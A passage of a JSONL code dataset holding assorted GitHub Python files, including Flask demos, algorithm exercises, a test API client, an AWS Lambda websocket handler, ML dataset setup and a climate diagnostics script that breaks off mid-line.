+{"seq_id":"31635045993","text":"from flask import Flask, render_template, request, redirect, url_for\n\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, SubmitField, PasswordField\nfrom wtforms.validators import DataRequired, ValidationError  # 验证信息\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'hello flask'\n\n\nclass Name_Form(FlaskForm):\n    name = StringField(\"What's your name\", validators=[DataRequired(message=u'内容不能不为空')],\n                       # label='请输入用户名',\n                       render_kw={\n                           \"required oninvalid\": \"setCustomValidity('请输入账号')\",\n                           \"class\": \"control-label col\",\n                           \"placeholder\": \"请输入你的名字\",\n                           \"oninput\": \" setCustomValidity('')\"\n                       })\n    submit = SubmitField('Submit',\n                         render_kw={\n                             \"class\": \"btn btn-default\"\n                         })\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n    form_tables = Name_Form()  # 实例化\n    if form_tables.validate_on_submit():  # 判断submit\n        data = form_tables.name.data  # 实例化 form_table.data\n\n        print(data)\n    return render_template('hello.html', form=form_tables)\n\n\nif __name__ == '__main__':\n    app.run(port=8991)\n","repo_name":"Quan3Xin/helloFlask","sub_path":"hello_flask.py","file_name":"hello_flask.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"26331789000","text":"# -*- coding: utf-8 -*-\n\nimport re\n\nfrom lascaux.router import Router\nfrom lascaux.execpath import Execpath\n\n\nclass RegexRouter(Router):\n\n    def find_execpath(self, reqres):\n        plugins = self.app.manager.get_subsystem('plugin').get_plugins()\n        for plugin in plugins:\n            for route in plugin.config['routes']:\n                exec_path = self.check_match(reqres, route, plugin)\n                if exec_path:\n                    return exec_path\n        return None\n\n    def check_match(self, reqres, route, plugin):\n        regex = plugin.config['routes'][route]['regex']\n        match = re.match(regex, reqres.uri)\n        if match:\n            return Execpath(reqres, plugin, route, \n                            plugin.controllers[plugin.config['routes'][route]['controller']],\n                            match.groupdict())\n        return False\n","repo_name":"hyphyphyph/lascaux","sub_path":"lascaux/routers/regex.py","file_name":"regex.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"42796057745","text":"from random import *\nfrom math import *\ndef gera_vetor(x): # \"x\" é a dimensão do vetor.\n    x = int(x)\n    i = 0\n    vetor=[0]*x\n    inter = randint(1,(10*x))\n    while i < len(vetor):\n        vetor[i] = randint(-inter,inter)\n        i = i + 1\n    return vetor\n\ndef max_lista(L):\n    t = 0\n    maximo = L[0]\n    while t < len(L):\n        if maximo <= L[t]:\n            maximo = L[t]\n        t = t + 1\n    return maximo\n\ndef encontra_maximo(M):\n    t = 0\n    Max = max_lista(M[0])\n    while t < len(M):\n        if Max <= max_lista(M[t]):\n            Max = max_lista(M[t])\n        t += 1\n    return Max","repo_name":"gabriellaec/desoft-analise-exercicios","sub_path":"backup/user_175/ch6_2019_04_05_07_52_52_442509.py","file_name":"ch6_2019_04_05_07_52_52_442509.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"16431577568","text":"import json\nimport math\nimport re\nfrom copy import deepcopy\nfrom string_util import *\nimport config as config\nfrom lists import Lists\n\ndef itself(x):\n    return x\n\ndef transpose(t):\n    u = []\n    for i in range(0, len(t[1])):\n        u.append([])\n        for j in range(0, len(t)):\n            u[i].append(t[j][i])\n    return u \n\n\ndef dofile(sFile):\n    with open(sFile, 'r', encoding = 'utf-8') as f:\n        content  = f.read()\n        content = re.findall(r'(return\\s+[^.]+)', content)[0]\n        map = {'return ' : '', '{' : '[', '}' : ']','=':':', '[\\n':'{\\n', '\\n]':'\\n}', '_':'\"_\"', '\\'':'\"'}\n        for k,v in map.items():\n            content = content.replace(k, v)\n        content = re.sub(\"(\\w+):\",r'\"\\1\":',content)\n        parsed_json = json.loads(content)\n        return parsed_json\n\ndef repPlace(data):\n    n,g = 20,{}\n    for i in range(1, n+1):\n        g[i]={}\n        for j in range(1, n+1):\n            g[i][j]=' '\n    maxy = 0\n    print('')\n    for r,row in enumerate(data.rows):\n        c = chr(97+r).upper()\n        print(c, row.cells[-1])\n        x,y= row.x*n//1, row.y*n//1\n        maxy = int(max(maxy,y+1))\n        g[y+1][x+1] = c\n    print('')\n    for y in range(1,maxy+1):\n        print(' '.join(g[y].values()))\n\n\ndef last(t):\n    return t[-1]\n\ndef rint(lo,hi):\n    return math.floor(0.5 + rand(lo, hi))\n\ndef any(t):\n    return t[rint(0, len(t))-1]\n\ndef rnd(n, nPlaces = 3):\n    mult = 10**nPlaces\n    return math.floor(n * mult + 0.5) / mult\n\ndef rand(lo, hi, mSeed = None):\n    lo, hi = lo or 0, hi or 1\n    Seed = config.Seed\n    Seed = 1 if mSeed else (16807 * Seed) % 2147483647\n    return lo + (hi-lo) * Seed / 2147483647\ndef many(t,n):\n    u=[]\n    for _ in range(1,n+1):\n        u.append(any(t))\n    return u\ndef cliffsDelta(ns1,ns2):\n    if len(ns1) > 256:\n        ns1 = many(ns1,256)\n    if len(ns2) > 256:\n        ns2 = many(ns2,256)\n    if len(ns1) > 10*len(ns2):\n        ns1 = many(ns1,10*len(ns2))\n    if len(ns2) > 10*len(ns1):\n        ns2 = many(ns2,10*len(ns1))\n    n,gt,lt = 0,0,0\n    for x in ns1:\n        for y in ns2:\n            n = n + 1\n            if x > y:\n                gt = gt + 1\n            if x < y:\n                lt = lt + 1\n    return abs(lt - gt)/n > config.the['cliffs']\n\ndef diffs(nums1, nums2):\n    def kap(nums, fn):\n        return [fn(k, v) for k, v in enumerate(nums)]\n    return kap(nums1, lambda k, nums: (cliffsDelta(nums.col.has, nums2[k].col.has), nums.col.txt))\n\ndef value(has,nB = None, nR = None, sGoal = None):\n    sGoal,nB,nR = sGoal or True, nB or 1, nR or 1\n    b,r = 0,0\n    for x,n in has.items():\n        if x==sGoal:\n            b = b + n\n        else:\n            r = r + n\n    b,r = b/(nB+1/float(\"inf\")), r/(nR+1/float(\"inf\"))\n    return b**2/(b+r)\n\ndef showTree(node, what, cols, nPlaces, lvl = 0):\n    if node:\n        print('|.. ' * lvl + '[' + str(len(node['data'].rows)) + ']' + '  ', end = '')\n        if not node.get('left') or lvl==0:\n            print(node['data'].stats(\"mid\",node['data'].cols.y,nPlaces))\n        else:\n            print('')\n        showTree(node.get('left'), what,cols, nPlaces, lvl+1)\n        showTree(node.get('right'), what,cols,nPlaces, lvl+1)\ndef dkap(t, fun):\n    u = {}\n    for k,v in t.items():\n        if(k and v is not None):\n            v, k = fun(k,v) \n            u[k or len(u)] = v\n    return u\n\ndef firstN(sorted_ranges, scoreFun):\n    print()\n    for r in sorted_ranges:\n        print(r['range']['txt'], r['range']['lo'], r['range']['hi'], rnd(r['val']), dict(r['range']['y'].has))\n    first = sorted_ranges[0]['val']\n\n    def useful(range):\n        if range['val'] > 0.05 and range['val'] > first / 10:\n            return range\n    sorted_ranges = [s for s in sorted_ranges if useful(s)]\n    most: int = -1\n    out: int = -1\n\n    for n in range(len(sorted_ranges)):\n        tmp, rule = scoreFun([r['range'] for r in sorted_ranges[:n+1]])\n\n        if tmp is not None and tmp > most:\n            out, most = rule, tmp\n\n    return out, most\n\ndef prune(rule, maxSize):\n    n=0\n    for txt,ranges in rule.items():\n        n = n+1\n        if len(ranges) == maxSize[txt]:\n            n=n+1\n            rule[txt] = None\n    if n > 0:\n        return rule","repo_name":"LeooHsiang/ASE-Group14-HW","sub_path":"src/hw6/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":4181,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"24049786772","text":"import boto3\nfrom util import sudocoins_logger\nimport json\nfrom datetime import datetime\nimport uuid\n\nlog = sudocoins_logger.get()\ndynamodb = boto3.resource('dynamodb')\n\n\ndef lambda_handler(event, context):\n    body = json.loads(event.get('body', '{}'))\n    log.info(f'event: {event}')\n    log.info(f'payload: {body}')\n\n    \"\"\"\n    Handles connecting and disconnecting for the Websocket.\n    Adds the connectionID to the database.\n    Disconnect removes the connectionID from the database.\n    \"\"\"\n    connectionID = event[\"requestContext\"].get(\"connectionId\")\n\n    if event[\"requestContext\"][\"eventType\"] == \"CONNECT\":\n        log.info(\"Connect requested (CID: {})\".format(connectionID))\n\n        # Ensure connectionID is valid\n        if not connectionID:\n            log.error(\"Failed: connectionId value not set.\")\n            return _get_response(500, \"Connect not successful.\")\n\n        # Add connectionID to the database\n        table = dynamodb.Table(\"chat_connections\")\n        table.put_item(Item={\"ConnectionId\": connectionID})\n        return _get_response(200, \"Connect successful.\")\n\n    elif event[\"requestContext\"][\"eventType\"] == \"DISCONNECT\":\n        log.info(\"Disconnect requested (CID: {})\".format(connectionID))\n\n        # Ensure connectionID is set\n        if not connectionID:\n            log.error(\"Failed: connectionId value not set.\")\n            return _get_response(500, \"connectionId value not set.\")\n\n        # Remove the connectionID from the database\n        table = dynamodb.Table(\"chat_connections\")\n        delete_response = table.delete_item(Key={\"ConnectionId\": connectionID})\n        log.info(f'delete_response: {delete_response}')\n        log.info(\"Disconnect successful\")\n        return _get_response(200, \"Disconnect successful.\")\n\n    else:\n        log.error(\"Connection manager received unrecognized eventType '{}'\"\\\n                .format(event[\"requestContext\"][\"eventType\"]))\n        return _get_response(500, \"Unrecognized eventType.\")\n\n\ndef _get_response(status_code, body):\n    if not isinstance(body, str):\n        body = json.dumps(body)\n    return {\"statusCode\": status_code, \"body\": body}\n\n","repo_name":"mobile1st/sudocoins-svc","sub_path":"src/art/chat/manage_connection.py","file_name":"manage_connection.py","file_ext":"py","file_size_in_byte":2143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"26464618510","text":"from urllib.parse import urljoin\nimport os\nimport requests\nfrom utils.exceptions import *\nfrom requests.cookies import cookiejar_from_dict\nfrom utils import credentials\n\nclass ApiClient:\n    def __init__(self, base_url, user, password):\n        self.base_url = base_url\n        self.user = user\n        self.password = password\n        self.session = requests.Session()\n        self.csrf_token = None\n\n    def _request(self,method,location,headers=None,data=None,status=200,jsonify=True,params=None, allow_redirects=True,files = None,json = None):\n        url=urljoin(self.base_url,location)\n        response=self.session.request(method=method,url=url,params=params,data=data,headers=headers, allow_redirects=allow_redirects, files=files, json=json)\n        if response.status_code != status:\n            raise ResponseStatusCodeException(f'Got {response.status_code} {response.reason} for URL \"{url}\"')\n        if jsonify:\n            json_response = response.json()\n            return json_response\n        return response\n\n    def get_token(self):\n        response=self._request('GET',urljoin(self.base_url, 'csrf/'), jsonify=False)\n        cookies=response.headers['Set-Cookie'].split(';')\n        csrf_token= [c for c in cookies if 'csrftoken' in c][0]\n        if not cookies:\n            raise Exception(\"No csrftoken in headers\" )\n        token=csrf_token.split('=')[-1]\n        return token\n\n    def post_login(self):\n        login_url=\"https://auth-ac.my.com/auth\"\n        headers={\n            'Referer': \"https://target.my.com/\",\n        }\n        data={\n            'email': self.user,\n            'password': self.password,\n            \"continue\": \"https://target.my.com/auth/mycom?state=target_login%3D1%26ignore_opener%3D1#email\",\n            \"failure\": \"https://account.my.com/login/\"\n        }\n        response=self._request('POST',login_url,headers=headers,data=data,jsonify=False)\n        if self.session.cookies.get('z') is None or self.session.cookies.get('mc') is None or self.session.cookies.get('mrcu') is None or self.session.cookies.get('sdc') is None:\n            raise InvalidLoginException(\"Invalid login\")\n        self.csrf_token=self.get_token()\n        return response\n\n    def post_image_id(self,repo_root):\n        url_post = urljoin(self.base_url, 'api/v2/content/static.json')\n        ImagePath = os.path.join(repo_root, 'fd.jpg')\n        headers={\n            'X-CSRFToken': self.session.cookies.get('csrftoken')\n        }\n        file={\n            'width':(None,0),\n            'height':(None,0),\n            'file': ('fd.jpg', open(ImagePath, 'rb'), 'image/jpeg')\n        }\n        response=self._request('POST', url_post,headers=headers,files = file,jsonify=False)\n        return {\n            'images':{\n                'id_static': response.json()['id']\n            }\n        }\n    def post_url_id(self):\n        url=urljoin(self.base_url, f'api/v1/urls/?url={credentials.CAMPAIGN_LING}')\n        try:\n            return self._request(\"GET\", url)['id']\n        except:\n            raise Invalid(f\"For url='{url}'\")\n\n\n    def post_create_campaign(self, data: dict) -> dict:\n        url = urljoin(self.base_url, \"/api/v2/campaigns.json\")\n\n        headers = {\n            'Content-Type': 'application/json',\n            'X-CSRFToken': self.session.cookies.get(\"csrftoken\"),\n        }\n        return self._request('POST', url, json=data, headers=headers)\n\n    def post_delete_segment(self, id):\n        url_seg = urljoin(self.base_url, f'api/v2/remarketing/segments/{id}.json')\n\n        headers = {\n            'X-CSRFToken': self.session.cookies.get('csrftoken')\n        }\n\n        return self._request('DELETE',url_seg,headers=headers,status=204,jsonify=False)\n","repo_name":"Shrced/2022-1-QAPYTHON-VK-M-Popov","sub_path":"homework3/api/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3702,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"71099292852","text":"\"\"\"contract with offer_id\n\nRevision ID: dd84e0d9a675\nRevises: e56ef64e93d9\nCreate Date: 2019-07-09 08:11:21.726652\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = 'dd84e0d9a675'\ndown_revision = 'e56ef64e93d9'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n\n    op.add_column('contract', sa.Column('offer_id', sa.Integer(), nullable=True))\n    op.create_foreign_key(None, 'contract', 'offer', ['offer_id'], ['id'])\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_constraint(None, 'contract', type_='foreignkey')\n    op.drop_column('contract', 'offer_id')\n\n    # ### end Alembic commands ###\n","repo_name":"vrcompugo/EV-Manager-Data-API","sub_path":"migrations/versions/dd84e0d9a675_contract_with_offer_id.py","file_name":"dd84e0d9a675_contract_with_offer_id.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6837843120","text":"from collections import defaultdict\nfrom heapq import heappop, heappush, heapify\nclass Solution:\n    def findItinerary(self, tickets: List[List[str]]) -> List[str]:\n        \n        graph = defaultdict(list)\n        for u, v in tickets:\n            graph[u].append(v)\n        \n        for u in graph.keys():\n            heapify(graph[u])\n        \n        path = []\n        def dfs(node):\n            \n            \n            while graph[node]:\n                adj = heappop(graph[node])\n                dfs(adj)\n            path.append(node)\n        \n        dfs(\"JFK\")\n        return path[::-1]\n            \n        \n        \n        \n","repo_name":"zelzhan/Challenges-and-contests","sub_path":"LeetCode/reconstruct_itinerary.py","file_name":"reconstruct_itinerary.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"17708353781","text":"import triangle\nimport triangle.plot\nimport matplotlib.pyplot as plt\n\nla = triangle.get_data('la')\n\nax1 = plt.subplot(311, aspect='equal')\ntriangle.plot.plot(ax1, **la)\n\nt = triangle.triangulate(la, 'pq')\nax2 = plt.subplot(312, sharex=ax1, sharey=ax1)\ntriangle.plot.plot(ax2, **t)\n\nt = triangle.triangulate(la, 'pqa')\nax2 = plt.subplot(313, sharex=ax1, sharey=ax1)\ntriangle.plot.plot(ax2, **t)\n\nplt.show()\n","repo_name":"Geodels/tribad","sub_path":"doc/plot/quality2.py","file_name":"quality2.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"75197581493","text":"import sys\n\ninput = sys.stdin.readline\nINF = int(1e9)\n\nN, M = map(int, input().split())\ngraph = [[] for _ in range(N + 1)]\nfor _ in range(M):\n    x, y = map(int, input().split())\n    graph[x].append((y, 1))\n    graph[y].append((x, 1))\n\nX, K = map(int, input().split())\n\ndef floyd_warshall():\n    n = len(graph)\n    dist = [[INF] * n for _ in range(n)]\n\n    for i in range(1, n):\n        dist[i][i] = 0\n\n    for start, adjs in enumerate(graph):\n        for adj, d in adjs:\n            if dist[start][adj] > d:\n                dist[start][adj] = d\n\n    for k in range(1, n):\n        for a in range(1, n):\n            for b in range(1, n):\n                dist[a][b] = min(dist[a][b], dist[a][k] + dist[k][b])\n\n    return dist\n\nlist = floyd_warshall()\nprint(list[1][K] + list[K][X])","repo_name":"keeeeeey/baekjoon_algorithm","sub_path":"1. 이코테/chapter 09 (최단 경로)/미래 도시(floyd warshall).py","file_name":"미래 도시(floyd warshall).py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74336934133","text":"#! /usr/bin/env python3\n\n# This is solution to problem25 on projecteuler.net\n# This script just outputs the final answer\n\n\nenc = {} # A dictionary to contain the fibonacci numbers encountered\n\ndef fibo(n):\n    nkey = str(n)\n    if n == 1 or n == 2: # for n = 1, sequence values are defined to be 1\n        enc.update({nkey:1})\n        return 1\n    else:\n        if nkey in enc: # if the number is already encountered during recursion, use it\n                        # and don't bother with counting it again\n            return enc[nkey]\n        else:           # if not, then calculate the number and store it for future use\n            enc.update({nkey: fibo(n-1) + fibo(n-2)})\n            return enc[nkey]\n\n# By a hunch, I think that it would take at least 1000 terms before \n# the length of number becomes 1000. But, the function is fast enough \n# for you to start the count from 1, or 100, your choice.\n\ncnt = 500\n\nwhile (len(str(fibo(cnt))) < 1000 ): # run the loop until the length of fibonacci number reaches 1000\n    cnt += 1\n\nprint (f\"The required answer is: {cnt}\")\n","repo_name":"mandarvu/project_euler","sub_path":"python3/1000_digit_fibo_number.py","file_name":"1000_digit_fibo_number.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"15728710153","text":"import sys\ninput = sys.stdin.readline\nn, k = map(int, input().split())\narr = []\nfor _ in range(n):\n    arr.append(int(input().rstrip()))\n\nd = [0]*(k+1)\n\nd[0] = 1\n\nfor i in arr:\n    for j in range(i, k+1):\n        d[j] += d[j-i]\n\nprint(d[k])","repo_name":"rubenlee1998/Baekjoon","sub_path":"22.09.05~09.11/boj2293.py","file_name":"boj2293.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35693804078","text":"import requests\nfrom datetime import datetime\nimport csv\nimport time\n\ndef stream_data():\n    ''' Function used to get the ticker data for BTC/INR from coindcx.com's website through their API\n        and appends the data to a CSV file on disk '''\n\n    url = \"https://api.coindcx.com/exchange/ticker\"\n\n    fields = ['market', 'change_24_hour', 'high', 'low', 'volume', 'last_price', 'bid', 'ask', 'timestamp']\n\n    # Create a 'write-only' file writer object\n    with open('data.csv', 'w', newline='') as csv_file:\n        csv_writer = csv.DictWriter(csv_file, fieldnames=fields, extrasaction='ignore', dialect='excel')\n        csv_writer.writeheader() # Makes a header with the 'fields' values\n\n    '''Check to see if the entry has been recorded'''\n    last_entry = dict()\n    \n    while True:\n        # Append to writer object\n        with open('data.csv', 'a', newline='') as csv_file:\n            csv_writer = csv.DictWriter(csv_file, fieldnames=fields, extrasaction='ignore', dialect='excel')\n            \n            response = requests.get(url)\n            data = response.json()\n                \n            data_dict = data[0] # Get the values of the first entry in the list (BTC/INR)\n\n            if data_dict == last_entry: # Checks to see if the data that is going to be added is already there\n                continue # If the entry is already there - skip adding it\n            else:\n                last_entry = data_dict # Update the last entry record\n                csv_writer.writerow(last_entry) # Write to the file\n                print(last_entry.values()) # Prints out the entry to the consol\n                \n                \n        time.sleep(1)\n\n\nif __name__ == '__main__':\n    stream_data()\n\n        \n\n\n\n\n","repo_name":"Xalt8/Crypto","sub_path":"get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"12189213620","text":"import os\nfrom glob import glob\n\nfrom detectron2.data import DatasetCatalog, MetadataCatalog\nfrom detectron2.data.datasets import load_coco_json\n\n\ndef register_fiber_instances(name, metadata, json_file, image_root):\n    \"\"\"\n    Register a dataset in COCO's json annotation format for\n    fiber detection, i.e. mask, keypoint and fiber width detection.\n\n    Args:\n        name (str): the name that identifies a dataset, e.g. \"coco_2014_train\".\n        metadata (dict): extra metadata associated with this dataset.  You can\n            leave it as an empty dict.\n        json_file (str): path to the json instance annotation file.\n        image_root (str): directory which contains all the images.\n    \"\"\"\n    DatasetCatalog.register(\n        name,\n        lambda: load_coco_json(\n            json_file, image_root, name, extra_annotation_keys=[\"fiberwidth\", \"fiberlength\"]\n        ),\n    )\n    MetadataCatalog.get(name).set(\n        json_file=json_file, image_root=image_root, evaluator_type=\"coco\", **metadata\n    )\n\n\ndef setup_dataset_catalog(data_root=\"/data\", verbose=0):\n\n    json_paths = glob(os.path.join(data_root, \"**\", \"*.json\"))\n\n    for json_path in json_paths:\n        image_root = os.path.dirname(json_path)\n        data_set_name = os.path.splitext(os.path.basename(json_path))[0]\n\n        register_fiber_instances(data_set_name, {}, json_path, image_root)\n\n        if verbose > 0:\n            print(f\"Registered dataset: {data_set_name}\")\n\n\ndef enhance_metadata(config):\n    keypoint_names = [str(i) for i in range(1, config.MODEL.ROI_KEYPOINT_HEAD.NUM_KEYPOINTS + 1)]\n    skeleton = [[i, i + 1] for i in range(1, config.MODEL.ROI_KEYPOINT_HEAD.NUM_KEYPOINTS)]\n    keypoint_flip_map = []\n\n    for dataset_name in config.DATASETS.TRAIN + config.DATASETS.TEST:\n        metadata = MetadataCatalog.get(dataset_name)\n        metadata.set(keypoint_names=keypoint_names)\n        metadata.set(skeleton=skeleton)\n        metadata.set(keypoint_flip_map=keypoint_flip_map)\n\n\ndef setup_data(config):\n    setup_dataset_catalog()\n    enhance_metadata(config)\n\n\nif __name__ == \"__main__\":\n    setup_dataset_catalog(verbose=1)\n","repo_name":"maxfrei750/FibeR-CNN","sub_path":"fibercnn/data/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"}
+{"seq_id":"15867089130","text":"from django import forms\nfrom .models import Product\n\nclass ProductForm(forms.ModelForm):\n\n    title = forms.CharField(widget=forms.TextInput(attrs={\"placeholder\" : \"Title\"}))\n    description = forms.CharField(widget=forms.TextInput(attrs={\"placeholder\" : \"Description\"}))\n\n    class Meta:\n        model = Product\n        fields = ['title', 'category', 'vendor', 'image', 'description', 'specifications', 'tags', 'product_status', 'featured', 'sku', 'date','file']\n\n","repo_name":"zeus0911/Ideax_Kripples","sub_path":"app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"31745882065","text":"from .scored_entry import scored_entry\n\nclass filter():\n\n    def __init__(self, definition):\n\n        self._definition = self._cleanDefinition(definition)\n\n    def score(self, entry):\n\n        scored = scored_entry(entry)\n\n        for key in self._definition:\n\n            if key.lower() == 'author':\n                score, matches = self._scoreList(self._definition[key], entry.authors)\n                if score > 0:\n                    scored.hits['people'] = True\n                    scored.score += score\n                    scored.matched_authors = matches\n\n            elif key.lower() == 'keyword':\n                score, matches = self._scoreString(self._definition[key], entry.title)\n                if score > 0:\n                    scored.hits['title'] = True\n                    scored.score += score\n                    scored.matched_title = matches\n\n                score, matches = self._scoreString(self._definition[key], entry.abstract)\n                if score > 0:\n                    scored.hits['abstract'] = True\n                    scored.score += score\n                    scored.matched_abstract = matches\n\n            elif key.lower() == 'category':\n                score, matches = self._scoreList(self._definition[key], entry.categories)\n                if score > 0:\n                    scored.hits['category'] = True\n                    scored.score += score\n                    scored.matched_categories = matches\n\n            elif key.lower() == 'collaboration':\n                score, matches = self._scoreString(self._definition[key], entry.collaboration)\n                if score > 0:\n                    scored.hits['group'] = True\n                    scored.score += score\n\n        return scored\n\n\n    def _cleanDefinition(self, definition):\n        out = {}\n\n        for part, keys in definition.items():\n            out[part] = {}\n            for key, value in keys.items():\n                clean = self._sanitize(key)\n                out[part][clean] = int(value)\n\n        return out\n\n    def _sanitize(self, str, returnIdx=False):\n        REMOVE = [\n            '-', '.', ',', '_', ':', ';',\n            '[', ']', '(', ')', '{', '}',\n            '^', '\\\\', '/', '\\'', '`', '\"', '´',\n            '&', '$'\n        ]\n        REPLACE = {\n            'ä': 'a', 'ö': 'o', 'ü': 'u',\n            'é': 'e', 'è': 'e', 'à': 'a', 'â': 'a',\n        }\n\n        # Replace characters\n        clean = str.translate(REPLACE)\n\n        # Remoe characters\n        index = []\n        output = []\n\n        for cc, char in enumerate(clean):\n            if char not in REMOVE:\n                output.append(char)\n                index.append(cc)\n\n        clean = ''.join(output).lower()\n\n        if not returnIdx:\n            return clean\n        else:\n            return clean, index\n\n\n    def _scoreList(self, definition, values):\n        score = 0\n        matches = []\n\n        for item in values:\n            clean = self._sanitize(item)\n            matched = False\n\n            for key, value in definition.items():\n                if key in clean:\n                    score += value\n                    matched = True\n\n            if matched:\n                matches.append(item)\n\n\n        return score, matches\n\n    def _scoreString(self, definition, string):\n        clean, index = self._sanitize(string, returnIdx=True)\n\n        score = 0\n        matches = []\n\n        for key, value in definition.items():\n            if key in clean:\n                score += value\n\n                # Extract the match of the original (unsanitized) string\n                start = clean.index(key)\n                matches.append(string[index[start]:index[start+len(key)-1]+1])\n\n        return score, matches\n","repo_name":"deragent/arXivFilter","sub_path":"arxiv_filter/arxiv/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":3726,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"23143428842","text":"import numpy as np\nimport cv2\n\ndef constant_padding(img, kernel, constant):\n    ps = len(kernel)-1 # padding size\n\n    ns = (img.shape[0]+ps,img.shape[1]+ps) # image + padding size in all borders\n    # creates result image bigger than original full of constant values\n    result = np.ones(ns)*constant\n    p = int(ps/2)\n    result[p:-p,p:-p] = img[:,:] # put the original image on the middle \n\n    cv2.imwrite('constant_padding.png', result)\n\n\nimg = cv2.imread('baboon.png', 0)\nkernel = np.arange(11*11).reshape((11,11))\nconstant_padding(img,kernel, 0)\n","repo_name":"LeonardoRez/mo446-sc","sub_path":"convolution-and-filters/constant_padding_dev.py","file_name":"constant_padding_dev.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73727971253","text":"## Script to compute mean diurnal cycle of SKT from IFS\n## E. Dutra June 2022 \n\nimport xarray as xr\nimport numpy as np\nimport gribscan\nimport os \nfrom netCDF4 import Dataset,num2date \nimport pandas as pd\nimport datetime as dt \nimport time\nimport sys\n\nimport matplotlib.pylab as plt\nimport matplotlib.cm as cm\nimport cmocean.cm as cmo\nimport cartopy.crs as ccrs\nimport cartopy.feature as cfeature\nfrom scipy.interpolate import LinearNDInterpolator, NearestNDInterpolator\n\ndef gen_output(fout):\n   # create output file \n  if os.path.isfile(fout):\n    os.remove(fout)\n  nc = Dataset(fout,'w',format='NETCDF4')\n\n  # create dimensions \n  nc.createDimension('lat',len(lat_reg))\n  nc.createDimension('lon',len(lon_reg))\n  nc.createDimension('time',24)\n  \n   \n  # create dimensions variables \n  cvar = nc.createVariable('lat','f4',['lat',])\n  cvar.units = \"degrees_north\"\n  cvar.long_name = \"latitude\"\n  cvar.standard_name = \"latitude\"\n  cvar.axis= \"Y\" \n  cvar[:] = lat_reg[:,0]\n  \n  cvar = nc.createVariable('lon','f4',['lon',])\n  cvar.units = \"degrees_east\"\n  cvar.long_name = \"longitude\"\n  cvar.standard_name = \"longitude\"\n  cvar.axis= \"X\" \n  cvar[:] = lon_reg[0,:]\n  \n  cvar = nc.createVariable('time','i4',['time',])\n  cvar.units = f\"hours since {YM.strftime('%Y-%m-%d')}T00:00:00\"\n  cvar.long_name = \"time\"\n  cvar.standard_name = \"time\"\n  cvar.axis= \"T\"\n  cvar.calendar = \"standard\"\n   \n  \n  cvar = nc.createVariable('LST','f4',('time','lat','lon'),\n                           fill_value=ZFILL,zlib=True,complevel=6,\n                           least_significant_digit=2)\n  cvar.long_name='LST'\n  cvar.units='Celsius'\n    \n  cvar = nc.createVariable('FVALID','f4',('time','lat','lon'),\n                           fill_value=ZFILL,zlib=True,complevel=6,\n                           least_significant_digit=3)\n  cvar.long_name='fraction of valid pixels in average'\n  cvar.units='0-1'\n    \n  cvar = nc.createVariable('NSLOT','f4',('time',))\n  cvar.long_name='total number of slots processed'\n  cvar.units='-'\n    \n  return nc\n\ndef inter2D(xIN):\n  nn_interpolation = NearestNDInterpolator(points_ifs, xIN)\n  return nn_interpolation(lon_reg, lat_reg)\n\n#resol='tco2559-ng5'  # or tco3999-ng5\n#resol='tco3999-ng5'  # or tco3999-ng5\n#resol='tco1279-orca025' # \n#ddate=\"202005\"\n\n\nt0 = time.time()\nresol=sys.argv[1]\nddate=sys.argv[2]\n\nDFOUT=\"/scratch/b/b381666/SKT_DIAG/\"\nZFILL=-999\ntcc_min = 0.3\n\nYM = dt.datetime.strptime(ddate,\"%Y%m\")\n\n## Define output regular grid \nlon_reg, lat_reg = np.meshgrid(np.arange(-80,80.05,0.05), np.arange(80,-80.05,-0.05))\n\n## define output file \nfout = f\"{DFOUT}/NETCDF4_{resol}_LST_{ddate}.nc\"\nncOUT = 